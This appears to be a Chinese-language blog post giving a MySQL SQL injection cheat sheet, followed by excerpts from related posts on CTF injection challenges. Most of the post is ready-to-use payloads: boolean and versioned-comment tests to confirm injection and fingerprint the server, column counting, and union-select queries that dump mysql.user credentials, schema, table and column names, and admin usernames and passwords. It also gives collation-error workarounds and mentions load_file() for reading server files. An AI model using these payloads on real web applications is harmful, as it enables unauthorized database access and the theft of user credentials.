Mysql 基本注入

2021-08-20 11:00:39 字數 2650 閱讀 2493

判斷是否存在注入:    and 1=1 and 1=2

檢視是否為mysql資料庫: /*asd            ---因為只有mysql支援/* 注釋

檢視mysql版本:

and ord(mid(version(),1,1))>51 /*              --- 51的ascii碼代表3,即版本3

具體確定版本號mysql:

/*!30000%20s*/      返回錯誤表示大於版本3.0,

/*!50000%20s*/

返回正確表示小於版本5.0

/*!40016%20s*/  返回正確      /*40015%20s*/ 返回錯誤  ---則版本為4.0.15

推出: /*!50000 sql語句*/ 如果當前資料庫版本號大於等於50000,sql語句就執行

檢視是不是root許可權:

and ord(mid(user(),1,1))>114 /* 

判斷語句查詢的字段數:

order by 10   或者  union select 1,1,1,1  乙個乙個增加判斷

聯合查詢(4.0以上的版本支援):union select 1,2,3,4,5,6,7,8,9,10 from admin

system_user()

系統使用者名稱

user()

使用者名稱current_user()  當前使用者名稱

session_user()

連線資料庫的使用者名稱

database()

資料庫名

version()

mysql資料庫版本

load_file()

讀取本地檔案的函式

@@datadir

讀取資料庫路徑

@@basedir

mysql安裝路徑

version_complie_os

作業系統

判斷如果有root許可權,可以使用load_file()

(1)查詢資料庫使用者:

and 1=2 union select  group_concat(user,0x5f,password) from mysql.user

(2)查詢所有資料庫:

and 1=2 union select group_concat(schema_name) from information_schema.schemata

and 1=2 union select group_concat(schema_name) from (select schema_name from information_schema.schemata)t

and 1=2 union select group_concat(schema_name) from (select schema_name from information_schema.schemata where schema_name not in ('information_schema','performance_schema'))t

(3)查詢所有表名:

and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()

and 1=2 union select group_concat(table_name) from (select * from information_schema.tables where table_schema=database())t

(4)查詢指定表的所有列:

and 1=2 union select group_concat(column_name) from information_schema.columns where table_name=0x61646d696e and table_schema=database()

and 1=2 union select group_concat(column_name) from (select * from information_schema.columns where table_name=0x61646d696e and table_schema=database())t

注意:之所以限定database是因為可能存在同名表(位於另外資料庫)。

當注射後頁面顯示:

(1)illegal mix of collations (latin1_swedish_ci,implicit) and (utf8_general_ci,implicit) for operation 'union'

可以使用convert()函式,如:

and 1=2  union select convert(group_concat(name,0x5f,password) using latin1) from admin

似乎可以使用unhex(hex())方式

and 1=2  union select unhex(hex(group_concat(name,0x5f,password))) from admin

(2)illegal mix of collations for operation 'union'

使用hex函式,如:

and 1=2  union select hex(group_concat(name,0x5f,password)) from admin

參考:

mysql注入ctf CG CTF SQL注入

sql注入1 題目訪問題目 先檢視一下原始碼 仔細分析一下核心原始碼 if post user post pass 判斷結果集中的user引數對應的值是不是admin,如果是返回flag,不是則返回 you are not admin echo query user 回顯查詢到的user值 通過分析...

mysql 報錯注入語句 mysql注入

sql的注入型別有以下5種 boolean based blind sql injection 布林型注入 error based sql injection 報錯型注入 union query sql injection 可聯合查詢注入 stacked queries sql injection ...

mysql注入總結 mysql注入總結

4.相關函式 system user 系統使用者名稱 user 使用者名稱 current user 當前使用者名稱 session user 連線資料庫的使用者名稱 database 資料庫名 version mysql資料庫版本 load file mysql讀取本地檔案的函式 datadir ...